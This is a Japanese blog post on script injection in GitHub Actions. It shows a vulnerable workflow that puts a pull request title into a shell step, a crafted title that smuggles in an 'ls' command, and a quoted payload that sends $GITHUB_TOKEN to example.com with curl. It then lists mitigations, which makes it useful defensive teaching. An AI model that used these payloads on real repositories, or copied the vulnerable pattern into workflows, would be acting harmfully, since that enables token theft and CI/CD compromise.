【Github】Github Actions ~ セキュリティ/インジェクション攻撃 ~

■ はじめに

https://dk521123.hatenablog.com/entry/2024/04/05/000136

の続き。

CI/CDでは、自動的にデプロイするので
自然と比較的に強い権限が必要になる。

そのため、セキュリティに穴を開けると
かなり大事故になるので、セキュリティについて
徐々にではあるが、書き溜めていく。

今回は、インジェクション攻撃について扱う。

目次

【0】Github Actions の セキュリティ関連のドキュメント
【1】インジェクション攻撃
【2】インジェクション攻撃例
【3】対策案
 1)環境変数に定義し直す
 2)その他

【0】Github Actions の セキュリティ関連のドキュメント

公式ドキュメント

* 以下にある
 => ちょっと時間がある時にちゃんと読みたいが、、、

https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions

日本語サイト

* 上記のドキュメントは、英語なので、まずは、以下を読んでおくといいかも。
 上記のドキュメントに沿っているので。

https://engineering.mercari.com/blog/entry/20230609-github-actions-guideline/

【1】インジェクション攻撃

変数に悪意があるコマンドを埋め込むセキュリティ攻撃

【2】インジェクション攻撃例

公式ドキュメントに例がある

https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#example-of-a-script-injection-attack

      - name: Check PR title
        if: ${{ !cancelled() }}
        run: |
          title="${{ github.event.pull_request.title }}" # ★注目★
          if [[ $title =~ ^octocat ]]; then
            echo "PR title starts with 'octocat'"
            exit 0
          else
            echo "PR title did not start with 'octocat'"
            exit 1
          fi

解説

例えば、プルリクのタイトルを「a"; ls $GITHUB_WORKSPACE"」
にすると、
~~~~~
title="${{ github.event.pull_request.title }}"
# => title="a"; ls $GITHUB_WORKSPACE""
~~~~~
となり、「ls $GITHUB_WORKSPACE」が実行される
 => 任意のコマンドが実行できてしまう。
 => lsコマンド位ならまだしも、以下の公式で紹介されている
  「a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#」なんて
  実行されたらTOKEN盗まれて偉いことになる、、、

https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#stealing-the-jobs-github_token
実行結果例

Run title="a"; ls $GITHUB_WORKSPACE"" # 「a"; ls $GITHUB_WORKSPACE"」
DemoLib <= ls の実行結果
LICENSE
README.md
demo1.py
main.py
sqls
typescript
PR title did not start with 'octocat'
Error: Process completed with exit code 1.

【3】対策案

1)環境変数に定義し直す

* これが一番、気軽にできる

Using an intermediate environment variable
https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#using-an-intermediate-environment-variable

      - name: Check PR title
        env:
          # ★環境変数に定義し直す
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^octocat ]]; then

2)その他

公式ドキュメントでは、インラインスクリプトを進めているので
こちらも考えておいたほうがいい

Using an action instead of an inline script (recommended)
https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#using-an-action-instead-of-an-inline-script-recommended
Using starter workflows for code scanning
https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#using-starter-workflows-for-code-scanning
Restricting permissions for tokens
https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#restricting-permissions-for-tokens

関連記事

Github ~ 入門編 ~
https://dk521123.hatenablog.com/entry/2019/07/18/234652
Github Actions ~ 基礎知識編 ~
https://dk521123.hatenablog.com/entry/2021/11/04/142835
Github Actions ~ 入門編 ~
https://dk521123.hatenablog.com/entry/2022/06/16/151443
Github Actions ~ 基本編 ~
https://dk521123.hatenablog.com/entry/2023/12/22/195715
Github Actions ~ pull_request / pull_request_target ~
https://dk521123.hatenablog.com/entry/2024/04/10/152101
Github Actions ~ セキュリティ/Third-Party Github Action ~
https://dk521123.hatenablog.com/entry/2024/04/05/000136
Github Actions ~ Self-hosted runners / 入門編 ~
https://dk521123.hatenablog.com/entry/2023/12/18/204119